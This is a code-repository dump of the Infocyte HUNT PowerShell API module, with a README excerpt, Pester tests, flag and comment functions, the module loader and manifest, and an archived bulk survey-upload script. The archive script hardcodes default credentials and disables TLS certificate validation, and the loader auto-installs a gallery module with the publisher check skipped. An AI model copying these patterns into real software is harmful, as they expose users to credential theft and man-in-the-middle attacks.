Get-ICObject -Type Artifact -NoLimit 42 | 43 | Data Export Functions: 44 | Data is currently seperated by object type though that will change in 2020. All the object and event data can be grabbed with `Get-ICObject` with a reference to object type. Apps and Vulns are treated a little differently so have their own functions. 45 | 46 | Get-ICObject 47 | Get-ICApplication 48 | Get-ICVulnerability 49 | 50 | Individual file reputation data can be grabbed for a file (by sha1) by using the following function: 51 | 52 | Get-ICFileDetail 53 | 54 | 55 | #### Filters 56 | Filters on this API are constructed using LoopBack specifications/format. The module will convert the hashtable below into the json ingested by Loopback but you will need to use Loopback operators. 57 | https://loopback.io/doc/en/lb3/Where-filter.html#operators 58 | 59 | > PS> $whereFilter = @{ threatName = @{ regexp = "Unknown|Suspicious|Bad" } } 60 | > PS> $whereFilter += @{ commentCount = 0 } 61 | 62 | > PS> Get-ICObject -Type File -where $whereFilter 63 | 64 | NOTE: While you can use Powershell piping to filter after retrieval, it is not recommended. the `-where` Loopback filter will be applied server-side which conserves bandwidth and avoids potential throttling. 65 | 66 | 67 | ### Target Group & Query Management 68 | Target Groups are logical grouping of hosts and related data that you see in the Discover Tab in the Infocyte app. Each Target Group has an Address table listing hosts that have been discovered or agents that have been added to each Target Group. 69 | 70 | New-ICTargetGroup, Get-ICTargetGroup, Remove-ICTargetGroup 71 | Get-ICAddress, Remove-ICAddress 72 | 73 | Queries are used in Agentless discovery and will typically utilize a network credential from the credential store. Queries can be IP Ranges, hostnames, ldap queries, or aws queries. 74 | 75 | New-ICCredential, Get-ICCredential, Remove-ICCredential 76 | New-ICQuery, Get-ICQuery, Remove-ICQuery 77 | 78 | ### Scan and Activity Status 79 | Scans and other activity are tracked as a task. Each task can have multiple items (typically hosts) that action will iterate through. Individual item/host progress will also be tracked and can be grabbed using `Get-ICTaskItemProgress` with a reference to the TaskItemId. 80 | Get-ICTask, Get-ICTaskItem, Get-ICTaskItemProgress 81 | 82 | ### Scanning 83 | Scanning and enumerating is usually by Target Group so will require a TargetGroupId reference. 84 | 85 | **Enumerate:** 86 | 87 | Invoke-ICFindHosts 88 | 89 | **Scan:** 90 | 91 | New-ICScanOptions 92 | Invoke-ICScan (by Target Group), Invoke-ICScanTarget (single target by IP/hostname) 93 | 94 | **Schedule:** 95 | 96 | Add-ICScanSchedule (w/ CronExpression), Get-ICScanchedule, Remove-ICScanSchedule 97 | 98 | **Importing Offline Scans:** 99 | 100 | Import-ICSurvey 101 | -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/targetgroupmgmt.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | Describe "TargetGroup Management" { 4 | BeforeAll { 5 | Get-ICTargetGroup -where @{ name = $testname } | Remove-ICTargetGroup | Out-Null 6 | Get-ICControllerGroup -where @{ name = $testname } | Remove-ICControllerGroup | Out-Null 7 | Get-ICCredential -where @{ name = $testname } | Remove-ICCredential | Out-Null 8 | Get-ICQuery -where @{ name = $testname } | Remove-ICQuery | Out-Null 9 | } 10 | AfterAll { 11 | Get-ICTargetGroup -where @{ name = $testname } | Remove-ICTargetGroup 12 | Get-ICControllerGroup -where @{ name = $testname } | Remove-ICControllerGroup 13 | Get-ICCredential -where @{ name = $testname } | Remove-ICCredential 14 | Get-ICQuery -where @{ name = $testname } | Remove-ICQuery 15 | } 16 | 17 | Describe "ICTargetGroups & ICControllerGroups" { 18 | It "Create and Get Target Groups" { 19 | $r = Get-ICTargetGroup -where @{ name = $testname } 20 | $r | Should -Be $null 21 | 22 | $tg = New-ICTargetGroup -Name $testname 23 | $tg.name | Should -BeExactly $testname 24 | $tg.id | Should -Match $GUID_REGEX 25 | 26 | $r = Get-ICTargetGroup -where @{ name = $testname } 27 | $r.id | Should -BeExactly $tg.id 28 | } 29 | 30 | It "Create and Get Controller Group" { 31 | $r = Get-ICControllerGroup -where @{ name = "Controller Group 1" } 32 | $r.id | Should -Match $GUID_REGEX 33 | 34 | $r = Get-ICControllerGroup -where @{ name = $testname } 35 | $r | Should -Be $null 36 | 37 | $r = New-ICControllerGroup -name $testname 38 | $r.name | Should -BeExactly $testname 39 | 40 | $r = Get-ICControllerGroup -where @{ name = $testname } 41 | $r.name | Should -BeExactly $testname 42 | } 43 | 44 | It "Removes a Target Group" { 45 | $r = Get-ICTargetGroup -where @{ name = $testname } | Remove-ICTargetGroup 46 | $r | Should -Be $true 47 | 48 | $r = Get-ICTargetGroup -where @{ name = $testname } | Remove-ICTargetGroup 49 | $r | Should -Be $null 50 | } 51 | 52 | It "Create Target Group with Controller Group" { 53 | $cg = Get-ICControllerGroup -where @{ name = $testname } 54 | $a = New-ICTargetGroup -Name $testname -ControllerGroupId $cg.id 55 | $b = Get-ICTargetGroup -where @{ name = $testname } 56 | $a.id | Should -Be $b.id 57 | } 58 | 59 | } 60 | 61 | Describe "ICQueries and ICCredentials" { 62 | 63 | It "Create and Get Credentials" { 64 | $r = Get-ICCredential -where @{ name = $testname } 65 | $r | Should -Be $null 66 | 67 | $ssPass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force 68 | $Cred = New-Object System.Management.Automation.PSCredential ("TestUser", $ssPass) 69 | $rnew = New-ICCredential -Name $testname -Cred $Cred -AccountType windowsDomain 70 | $rnew.name | Should -BeExactly $testname 71 | $rnew.id | Should -Match $GUID_REGEX 72 | 73 | $r = Get-ICCredential -where @{ name = $testname } 74 | $r.id | Should -BeExactly $rnew.id 75 | } 76 | 77 | It "Create and Get Queries" { 78 | $r = Get-ICQuery -where @{ name = $testname } 79 | $r | Should -Be $null 80 | 81 | $tg = Get-ICTargetGroup -where @{ name = $testname } 82 | $c = Get-ICCredential -where @{ name = $testname } 83 | $q = New-ICQuery -Name $testname -TargetGroupId $tg.id -credentialId $c.id -Query "127.0.0.1" 84 | $q.name | Should -BeExactly $testname 85 | $q.id | Should -Match $GUID_REGEX 86 | 87 | $r = Get-ICQuery -where @{ name = $testname } 88 | $r.id | Should -BeExactly $q.id 89 | } 90 | } 91 | 92 | Describe "ICAddresses and ICAgents" { 93 | 94 | It "Gets Address Entries" { 95 | $tg = Get-ICTargetGroup -where @{ totalAddressCount = @{ gte = 1 } } | Select-Object -First 1 96 | $r = Get-ICAddress -TargetGroupId $tg.id 97 | $r.id | Should -Match $GUID_REGEX 98 | 99 | $address = Get-ICAddress -where @{ hostname = $testhost; queryId = @{ neq = $null } } | Select-Object -Last 1 100 | $r = Get-ICTargetGroup -id $address.targetId 101 | $r.id | Should -Match $GUID_REGEX 102 | $r = Get-ICQuery -id $address.queryId 103 | $r.id | Should -Match $GUID_REGEX 104 | } 105 | 106 | It "Gets Agents" { 107 | $r = Get-ICAgent -where @{ name = $testhost } 108 | $r.id | Should -Match $GUID_REGEX 109 | $r.hostname = $testhost 110 | } 111 | } 112 | } 113 | 114 | 115 | -------------------------------------------------------------------------------- /HUNT Powershell Module/admin.ps1: -------------------------------------------------------------------------------- 1 | 2 | function Get-ICFlagColors { 3 | Write-Host -ForegroundColor Red "red" 4 | Write-Host -ForegroundColor Blue "blue" 5 | Write-Host -ForegroundColor Yellow "yellow" 6 | Write-Host -ForegroundColor Green "green" 7 | Write-Host -ForegroundColor Cyan "teal" 8 | Write-Host -ForegroundColor Magenta "purple" 9 | } 10 | 11 | # 12 | function New-ICFlag { 13 | [cmdletbinding()] 14 | Param( 15 | [parameter(Mandatory=$true)] 16 | [ValidateNotNullorEmpty()] 17 | [alias('FlagName')] 18 | [String]$Name, 19 | 20 | [parameter(Mandatory=$true)] 21 | [ValidateSet("red","blue","yellow","green", "teal", "purple")] 22 | [alias('FlagColor')] 23 | [String]$Color, 24 | 25 | [parameter(Mandatory=$true)] 26 | [ValidateNotNullorEmpty()] 27 | [alias('FlagWeight')] 28 | [int]$Weight 29 | ) 30 | 31 | $Endpoint = "flags" 32 | Write-Verbose "Adding new flag with Color $Color named $Name [Weight: $Weight]" 33 | $body = @{ 34 | name = $Name 35 | color = $Color 36 | weight = $Weight 37 | } 38 | $f = Get-ICFlag -where @{ name = $Name; deleted = $False } 39 | if ($f) { 40 | Throw "There is already a flag named $Name" 41 | } else { 42 | Write-Verbose "Added new flag with Color $Color named $Name [Weight: $Weight]" 43 | return Invoke-ICAPI -Endpoint $Endpoint -body $body -method POST 44 | } 45 | } 46 | 47 | 48 | function Get-ICFlag { 49 | [cmdletbinding()] 50 | param( 51 | [parameter(ValueFromPipeline=$true)] 52 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 53 | [alias('flagId')] 54 | [String]$Id, 55 | 56 | [parameter(HelpMessage="This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 57 | [HashTable]$where=@{}, 58 | [Switch]$NoLimit, 59 | [Switch]$CountOnly 60 | ) 61 | 62 | PROCESS { 63 | if ($Id) { 64 | $Endpoint = "flags/$Id" 65 | } else { 66 | $Endpoint = "flags" 67 | } 68 | Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$NoLimit -CountOnly:$CountOnly 69 | } 70 | } 71 | 72 | function Update-ICFlag { 73 | [cmdletbinding(SupportsShouldProcess=$true)] 74 | Param( 75 | [parameter(Mandatory=$true, ValueFromPipelineByPropertyName)] 76 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 77 | [alias('flagId')] 78 | [String]$id, 79 | 80 | [alias('FlagName')] 81 | [String]$Name=$null, 82 | 83 | [alias('FlagColor')] 84 | [ValidateSet("red","blue","yellow","green", "teal", "purple", $null)] 85 | [String]$Color, 86 | 87 | [alias('FlagWeight')] 88 | [int]$Weight 89 | ) 90 | PROCESS { 91 | $body = @{} 92 | $n = 0 93 | $Endpoint = "flags/$Id" 94 | $obj = Get-ICFlag -id $Id 95 | if (-NOT $obj) { 96 | Write-Warning "Flag not found with id: $id" 97 | return 98 | } 99 | if ($Name) { $body['name'] = $Name; $n+=1 } 100 | if ($Color) { $body['color'] = $Color; $n+=1 } 101 | if ($Weight) { $body['weight'] = $Weight; $n+=1 } 102 | if ($n -eq 0) { Throw "Not Enough Parameters" } 103 | 104 | Write-Verbose "Updating flag with id $($Id):`n$($body|convertto-json)" 105 | if ($PSCmdlet.ShouldProcess($($obj.name), "Will update flag $($obj.name) [$Id]")) { 106 | Invoke-ICAPI -Endpoint $Endpoint -body $body -method PUT 107 | Write-Verbose "Updated flag with Id: $Id" 108 | } 109 | } 110 | } 111 | 112 | function Remove-ICFlag { 113 | [cmdletbinding(SupportsShouldProcess=$true)] 114 | Param( 115 | [parameter(Mandatory=$true, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] 116 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 117 | [alias('flagId')] 118 | [String]$id 119 | ) 120 | PROCESS { 121 | Write-Verbose "Deleting flag with id $Id" 122 | $Endpoint = "flags/$Id" 123 | $obj = Get-ICFlag -Id $Id 124 | if ($obj) { 125 | if ($obj | Where-Object { ($_.name -eq "Verified Good") -OR ($_.name -eq "Verified Bad")}) { 126 | Write-Error "Cannot Delete 'Verified Good' or 'Verified Bad' flags. They are a special case and would break the user interface" 127 | return 128 | } 129 | if ($PSCmdlet.ShouldProcess($obj.name, "Will remove $($obj.name) [$($obj.color)] with flagId '$Id'")) { 130 | Write-Verbose "Removing $($obj.name) [$($obj.color)] with flagId '$Id'" 131 | Invoke-ICAPI -Endpoint $Endpoint -method DELETE 132 | Write-Verbose "Removing $($obj.name) [$($obj.color)] with flagId '$Id'" 133 | return $true 134 | } 135 | } else { 136 | Write-Warning "No Agent found with id: $Id" 137 | } 138 | return $Obj 139 | } 140 | } 141 | 142 | function Add-ICComment { 143 | [cmdletbinding()] 144 | Param( 145 | [parameter(Mandatory=$true, ValueFromPipeline)] 146 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 147 | [String]$Id, 148 | 149 | [parameter(Mandatory=$true)] 150 | [ValidateNotNullorEmpty()] 151 | [String]$Text 152 | ) 153 | 154 | PROCESS { 155 | $Endpoint = "userComments" 156 | Write-Verbose "Adding new comment to item with id $id" 157 | $body = @{ 158 | relatedId = $Id 159 | value = $Text 160 | } 161 | Invoke-ICAPI -Endpoint $Endpoint -body $body -method POST 162 | Write-Verbose "Added new comment to item with id $(id): $($body.value)" 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /HUNT Powershell Module/InfocyteHUNTAPI.psm1: -------------------------------------------------------------------------------- 1 | #Variables 2 | $GUID_REGEX = "^[A-Z0-9]{8}-([A-Z0-9]{4}-){3}[A-Z0-9]{12}$" 3 | 4 | Write-Verbose "Importing Infocyte HUNT API Powershell Module" 5 | $PS = $PSVersionTable.PSVersion.tostring() 6 | if ($PSVersionTable.PSVersion.Major -lt 5) { 7 | Write-Warning "Powershell Version not supported. Install version 5.x or higher" 8 | return 9 | } else { 10 | Write-Verbose "Checking PSVersion [Minimum Supported: 5.0]: PASSED [$PS]!`n" 11 | } 12 | 13 | function Get-ICHelp { 14 | $Version = (Get-Module -Name InfocyteHUNTAPI).Version.ToString() 15 | Write-Host "Infocyte Powershell Module version $Version" 16 | Write-Host "Pass your Infocyte API Token into Set-ICToken to connect to an instance of Infocyte." 17 | Write-Host "`tThis will store your login token and server into a global variable for use by the other commands" 18 | Write-Host "`n" 19 | Write-Host "## Help ##" 20 | Write-Host -ForegroundColor Cyan "`tGet-ICHelp`n" 21 | 22 | Write-Host "## Authentication Functions ##" 23 | Write-Host -ForegroundColor Cyan "`tSet-ICToken (alias: Set-ICInstance)`n" 24 | 25 | Write-Host "## Generic API Functions ##" 26 | Write-Host -ForegroundColor Cyan "`tGet-ICAPI, Invoke-ICAPI`n" 27 | 28 | Write-Host "## Extension Development Functions ##" 29 | Write-Host -ForegroundColor Cyan "`tNew-ICExtension, Get-ICExtension, Update-ICExtension, Remove-ICExtension," 30 | Write-Host -ForegroundColor Cyan "`tTest-ICExtension (Runs the extension locally for testing" 31 | Write-Host -ForegroundColor Cyan "`tImport-ICExtension -> Loads an extension into your instance " 32 | 33 | Write-Host "## Rule Development Functions ##" 34 | Write-Host -ForegroundColor Cyan "`tNew-ICRule, Get-ICRule, Update-ICRule, Remove-ICRule," 35 | Write-Host -ForegroundColor Cyan "`tTest-ICRule (Runs the extension locally for testing)" 36 | Write-Host -ForegroundColor Cyan "`tImport-ICRule -> Loads an extension into your instance " 37 | 38 | Write-Host "## Admin/Misc Functions ##" 39 | Write-Host -ForegroundColor Cyan "`tGet-ICUser, Get-ICUserAuditLog," 40 | Write-Host -ForegroundColor Cyan "`tAdd-ICComment", "Get-ICDwellTime`n" 41 | 42 | Write-Host "## Target Group Management Functions ##" 43 | Write-Host -ForegroundColor Cyan "`tNew-ICTargetGroup, Get-ICTargetGroup, Remove-ICTargetGroup," 44 | Write-Host -ForegroundColor Cyan "`tGet-ICAddress, Remove-ICAddress," 45 | Write-Host -ForegroundColor Cyan "`tGet-ICAgent, Remove-ICAgent`n" 46 | 47 | Write-Host "## Task Status Functions ##" 48 | Write-Host -ForegroundColor Cyan "`tGet-ICTask, Get-ICTaskItems`n" 49 | 50 | Write-Host "## Scanning Functions ##" 51 | Write-Host -ForegroundColor Cyan "`tNew-ICScanOptions" 52 | Write-Host -ForegroundColor Cyan "`tInvoke-ICScan" 53 | Write-Host -ForegroundColor Cyan "`tGet-ICScan`n" 54 | 55 | Write-Host "## Offline Scan Import Functions ##" 56 | Write-Host -ForegroundColor Cyan "`tImport-ICSurvey`n" 57 | 58 | Write-Host "## Response Functions ##" 59 | Write-Host -ForegroundColor Cyan "`tInvoke-ICScanTarget -> Scans the specified host" 60 | Write-Host -ForegroundColor Cyan "`tInvoke-ICResponse -> Runs an extension on a specified host" 61 | Write-Host -ForegroundColor Cyan "`tGet-ICHostScanResult, Get-ICResponseResult`n" 62 | 63 | Write-Host "## Analysis Data Retrieval Functions ##" 64 | Write-Host -ForegroundColor Cyan "`tGet-ICAlert" 65 | Write-Host -ForegroundColor Cyan "`tGet-ICEvent (alias: Get-ICObject) -> The primary data retrieval function" 66 | Write-Host -ForegroundColor Cyan "`tGet-ICVulnerability`n" 67 | Write-Host -ForegroundColor Cyan "`tGet-ICFileDetail, , Get-ICNote`n" 68 | 69 | Write-Host "`n" 70 | Write-Host "FAQ:" 71 | Write-Host "- Most data within HUNT are tagged and filterable by Scan (" -NoNewLine 72 | Write-Host -ForegroundColor Cyan "scanId" -NoNewLine 73 | Write-Host ") and Target Groups (" -NoNewLine 74 | Write-Host -ForegroundColor Cyan "targetGroupId" -NoNewLine 75 | Write-Host ")" 76 | Write-Host "- GET Results are capped at $resultlimit results unless you use -NoLimit`n----------------`n" 77 | Write-Host "Examples:" 78 | Write-Host -ForegroundColor Cyan 'PS> Set-ICInstance -Instance "clouddemo" -Token ASDFASDASFASDASF -Save' 79 | Write-Host -ForegroundColor Cyan 'PS> Get-ICObject -Type Process -Trailing 3 -NoLimit' 80 | 81 | 82 | Write-Host 'Using custom loopback filters: [HashTable]$where = @{ term1 = "asdf1"; term2 = "asdf2" }' 83 | Write-Host 'Note: Best time format is ISO 8601 or Get-Dates type code "o". i.e. 2019-05-03T00:37:40.0056344-05:00' 84 | Write-Host 'For more information on filtering, see loopbacks website here: https://loopback.io/doc/en/lb2/Where-filter.html' 85 | Write-Host -ForegroundColor Cyan 'PS> Get-ICObject -Type File -BoxId $Box.Id -where @{ path = @{ regexp = "/roaming/i" } }' 86 | Write-Host -ForegroundColor Cyan 'PS> $customfilter = @{ threatName = "Unknown"; modifiedOn = @{ gt = $((Get-Date).AddDays(-10).GetDateTimeFormats('o')) }; size = @{ lt = 1000000 } }' 87 | Write-Host -ForegroundColor Cyan 'PS> Get-ICObject -Type Artifact -BoxId $Box.Id -where $customfilter' 88 | 89 | Write-Host "Offline Scan Processing Example (Default Target Group = OfflineScans):" 90 | Write-Host -ForegroundColor Cyan 'PS> Import-ICSurvey -Path .\surveyresult.json.gz' 91 | 92 | Write-Host "Offline Scan Processing Example (Default Target Group = OfflineScans):" 93 | Write-Host -ForegroundColor Cyan 'PS> Get-ICTargetGroup' 94 | Write-Host -ForegroundColor Cyan 'PS> Get-ChildItem C:\FolderOfSurveyResults\ -filter *.json.gz | Import-ICSurvey -Path .\surveyresult.json.gz -TargetGroupId b3fe4271-356e-42c0-8d7d-01041665a59b' 95 | } 96 | 97 | # Read in all ps1 files 98 | . "$PSScriptRoot\requestHelpers.ps1" 99 | . "$PSScriptRoot\auth.ps1" 100 | . "$PSScriptRoot\data.ps1" 101 | . "$PSScriptRoot\targetgroupmgmt.ps1" 102 | . "$PSScriptRoot\status.ps1" 103 | . "$PSScriptRoot\scan.ps1" 104 | . "$PSScriptRoot\scan_schedule.ps1" 105 | . "$PSScriptRoot\admin.ps1" 106 | . "$PSScriptRoot\extensions.ps1" 107 | . "$PSScriptRoot\rules.ps1" 108 | 109 | Install-Module powershell-yaml -AcceptLicense -SkipPublisherCheck -------------------------------------------------------------------------------- /HUNT Powershell Module/InfocyteHUNTAPI.psd1: -------------------------------------------------------------------------------- 1 | # 2 | # Module manifest for module 'InfocyteHUNTAPI' 3 | # 4 | 5 | @{ 6 | 7 | # Script module or binary module file associated with this manifest. 8 | RootModule = 'InfocyteHUNTAPI.psm1' 9 | 10 | # Version number of this module. 11 | ModuleVersion = '2.0.7' 12 | 13 | # Supported PSEditions 14 | # CompatiblePSEditions = @() 15 | 16 | # ID used to uniquely identify this module 17 | GUID = 'd3d4e089-48ba-47f1-963c-36a6c5b6a5c7' 18 | 19 | # Author of this module 20 | Author = 'Chris Gerritz' 21 | 22 | # Company or vendor of this module 23 | CompanyName = 'Infocyte, Inc.' 24 | 25 | # Copyright statement for this module 26 | Copyright = '(c) 2021 Infocyte, Inc. All rights reserved.' 27 | 28 | # Description of the functionality provided by this module 29 | Description = 'Functions and Cmdlets to interface with the Infocyte HUNT API' 30 | 31 | # Minimum version of the Windows PowerShell engine required by this module 32 | PowerShellVersion = '5.1' 33 | 34 | # Name of the Windows PowerShell host required by this module 35 | # PowerShellHostName = '' 36 | 37 | # Minimum version of the Windows PowerShell host required by this module 38 | # PowerShellHostVersion = '' 39 | 40 | # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. 41 | # DotNetFrameworkVersion = '' 42 | 43 | # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. 44 | # CLRVersion = '' 45 | 46 | # Processor architecture (None, X86, Amd64) required by this module 47 | # ProcessorArchitecture = '' 48 | 49 | # Modules that must be imported into the global environment prior to importing this module 50 | # RequiredModules = @() 51 | 52 | # Assemblies that must be loaded prior to importing this module 53 | # RequiredAssemblies = @() 54 | 55 | # Script files (.ps1) that are run in the caller's environment prior to importing this module. 56 | # ScriptsToProcess = @() 57 | 58 | # Type files (.ps1xml) to be loaded when importing this module 59 | # TypesToProcess = @() 60 | 61 | # Format files (.ps1xml) to be loaded when importing this module 62 | # FormatsToProcess = @() 63 | 64 | # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess 65 | # NestedModules = @() 66 | 67 | # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. 68 | FunctionsToExport = @( 69 | "Convert-ICExtensionHeader", 70 | "Set-ICToken", 71 | "Get-ICAPI", 72 | "Invoke-ICAPI", 73 | #"Invoke-ICFindHosts", 74 | "Invoke-ICScan", 75 | "Invoke-ICScanTarget", 76 | "Invoke-ICResponse", 77 | "Import-ICSurvey", 78 | "Get-ICEvent", 79 | "Get-ICResponseResult", 80 | "Get-ICHostScanResult", 81 | "Get-ICAlert", 82 | "Get-ICApplication", 83 | "Get-ICVulnerability", 84 | #"Get-ICActivityTrace", 85 | "Get-ICFileDetail", 86 | "Get-ICNote", 87 | "New-ICToken", 88 | "New-ICTargetGroup", 89 | "Get-ICTargetGroup", 90 | "Remove-ICTargetGroup", 91 | #"New-ICControllerGroup", 92 | #"Get-ICControllerGroup", 93 | #"Remove-ICControllerGroup", 94 | #"New-ICCredential", 95 | #"Get-ICCredential", 96 | #"Remove-ICCredential", 97 | #"New-ICQuery", 98 | #"Get-ICQuery", 99 | #"Remove-ICQuery", 100 | "Get-ICAddress", 101 | "Remove-ICAddress", 102 | "Get-ICScan", 103 | "Get-ICAuditLog", 104 | "Get-ICJob", 105 | "Add-ICComment", 106 | "Get-ICTask", 107 | "Get-ICTaskItems", 108 | "Get-ICLastScanTask", 109 | #"Get-ICBox", 110 | #"Set-ICBox", 111 | "Get-ICFlagColors", 112 | "New-ICFlag", 113 | "Get-ICFlag", 114 | "Update-ICFlag", 115 | "Remove-ICFlag", 116 | "New-ICScanOptions", 117 | "Add-ICScanSchedule", 118 | "Get-ICScanSchedule", 119 | "Remove-ICScanSchedule", 120 | "Get-ICReport", 121 | "Get-ICHelp", 122 | "New-ICExtension", 123 | "Get-ICExtension", 124 | "Update-ICExtension", 125 | "Remove-ICExtension", 126 | "Import-ICExtension", 127 | #"Import-ICOfficialExtensions", 128 | "Test-ICExtension", 129 | "Get-ICAgent", 130 | "Remove-ICAgent", 131 | "Get-ICDwellTime", 132 | #"Get-ICComplianceResults", 133 | "Get-ICRule", 134 | "New-ICRule", 135 | "Import-ICRule", 136 | "Update-ICRule", 137 | "Remove-ICRule" 138 | ) 139 | 140 | # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. 141 | CmdletsToExport = @() 142 | 143 | # Variables to export from this module 144 | VariablesToExport = '*' 145 | 146 | # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. 147 | AliasesToExport = '*' 148 | 149 | # DSC resources to export from this module 150 | # DscResourcesToExport = @() 151 | 152 | # List of all modules packaged with this module 153 | # ModuleList = @() 154 | 155 | # List of all files packaged with this module 156 | # FileList = @() 157 | 158 | # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. 159 | PrivateData = @{ 160 | 161 | PSData = @{ 162 | 163 | # Tags applied to this module. These help with module discovery in online galleries. 164 | # Tags = @() 165 | 166 | # A URL to the license for this module. 167 | # LicenseUri = '' 168 | 169 | # A URL to the main website for this project. 170 | # ProjectUri = '' 171 | 172 | # A URL to an icon representing this module. 173 | # IconUri = '' 174 | 175 | # ReleaseNotes of this module 176 | ReleaseNotes = 'Add archived alerts endpoint to Get-ICAlert' 177 | 178 | } # End of PSData hashtable 179 | 180 | } # End of PrivateData hashtable 181 | 182 | # HelpInfo URI of this module 183 | # HelpInfoURI = '' 184 | 185 | # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. 186 | # DefaultCommandPrefix = '' 187 | 188 | } 189 | -------------------------------------------------------------------------------- /Archive/On-Prem 3.0+/OfflineLoadBulk.ps1: -------------------------------------------------------------------------------- 1 | ### 2 | # OfflineLoadBulk.ps1 3 | # 4 | # This script can bulk import surveys that are collected during an offline analysis/scan that are stored 5 | # in a designated directory. It can be safely run from any endpoint with access to the Infocyte HUNT 6 | # server controlled by the enterprise. 7 | # 8 | # Notes: 9 | # - If the readonly property on the survey file (gz) is chcecked, the script will fail due to an access 10 | # path is denied error. If ths happens, uncheck the property and re-import. 11 | # - This script will not create individual endpoints under a target group, but you can look at the 12 | # history of the target group to see the results of the import. 13 | # - This script only handles the import and analysis, It does not track the timeboxing workflow that 14 | # follows analysis. As survey results are added to the timeboxing they will appear in the analysis 15 | # section of the product. This may take additional time. 16 | # - This script is tested wth 3.0 and it requires PowerShell 3.0. It will not work 17 | # with 2.9 and older. 18 | # 19 | ### 20 | # VARIABLES 21 | # 22 | #URL to the HUNT Server we'll be importing into and a holder variable for the API URL - note the port incase of change 23 | $url = "https://localhost" 24 | $api = "$url/api" # should not be altered 25 | 26 | #Name of the Target Group that we'll be importing survey files into 27 | $targetName = "OfflineScans" 28 | 29 | #The username and password of an account that will be used to do the importing 30 | $user = "infocyte" 31 | $password = "hunt" 32 | 33 | #The path of where the survey are located - can be relative or full 34 | $surveys = ".\surveys" 35 | 36 | #Variables used in the script 37 | $targetId = $null # should not be altered outside of special use-cases 38 | $scanId = $null # should not be altered outside of special use-cases 39 | $scanName = $null # should not be altered outside of special use-cases 40 | 41 | #This ensures that self-signed certificates are ignored. 42 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 43 | 44 | # Acquire a Login Token from the Infocyte HUNT erver 45 | Write-Host "Acquiring token..." 46 | 47 | $login = @{ username=$user; password=$password } | ConvertTo-Json 48 | $response = Invoke-RestMethod -Uri "$api/users/login" -Method Post -Body $login -ContentType "application/json" 49 | $token = $response.id 50 | 51 | Write-Host "Token Acquired:" $token "`n" 52 | 53 | #Create the target group if it doesn't already exist 54 | #Note: if the target ID is known, it can be replaced in the $targetId variable and we'll skip this 55 | if ($targetId -eq $null) { 56 | 57 | Write-Host "Creating target..." 58 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null 59 | #Make a query to see if the taget name configured exsits 60 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/targets?filter={""where"":{""name"":""$targetName""}}" -Method Get -ContentType "application/json" 61 | $targetId = $response.id 62 | 63 | #If doesn't exist it will be null so we'll create it 64 | if($targetId -eq $null){ 65 | 66 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null 67 | $target = @{ name=$targetName } | ConvertTo-Json 68 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/targets" -Method Post -Body $target -ContentType "application/json" 69 | $targetId = $response.id 70 | 71 | Write-Host "Target Group $targetName created `n" 72 | 73 | }else{ 74 | write-host "Target Group $targetName already exsits `n" 75 | } 76 | }else{ 77 | write-host "Using supplied Target Group Id: $targetId `n" 78 | } 79 | 80 | #Create the Scan Name if it doesn't already exist 81 | #Note: if the scanName is known or provided, it can be replaced in the $scanName variable and we'll skip creation 82 | if($scanName -eq $null) { 83 | $scanName = (get-date).toString("yyyy-MM-dd HH:mm") 84 | write-Host "Scan Name $scanName created" 85 | }else{ 86 | write-host "Using supplied Scan Name: $scanName `n" 87 | } 88 | 89 | #Create the Scan ID if it doesn't already exist 90 | #Note: if the endpoint is being added to an existing scan ID that is known, it can be replaced in the #scanId variable and we'll skip creation 91 | if ($scanId -eq $null) { 92 | 93 | Write-Host "Creating scan..." 94 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null 95 | $scan = @{ name=$scanName; targetId=$targetId; startedOn=(get-date).toString() } | ConvertTo-Json 96 | $response = Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$api/scans" -Method Post -Body $scan -ContentType "application/json" 97 | $scanId = $response.id 98 | 99 | Write-Host "Created Scan Id:" $scanId 100 | }else{ 101 | write-host "Using supplied Scan Id: $scanId" 102 | } 103 | 104 | #Upload All Scans in the Survey Folder 105 | 106 | Write-Host "`nUploading survey..." 107 | 108 | $hostsSubmitted = 0 #counter variable holding total # of surveys that are found and uploaded 109 | 110 | #for each gz (survey) file in the surveys folder 111 | Get-ChildItem $surveys -Filter *.gz | 112 | ForEach-Object{ 113 | 114 | $filename = $_.Name 115 | try { 116 | 117 | 118 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null 119 | #Upload the survey 120 | Invoke-RestMethod -Headers @{ Authorization = $token; scanid = $scanId; filename = $filename } -Uri "$api/survey" -Method Post -InFile $_.FullName -ContentType "application/octet-stream" 121 | #increment the counter 122 | } catch { 123 | $hostsSubmitted -= 1 124 | Write-Warning -Message "Unable to upload: $filename. Please remove successful surveys and try again." 125 | 126 | } 127 | 128 | $hostsSubmitted += 1 129 | Write-Host "Uploading" $_.Name 130 | 131 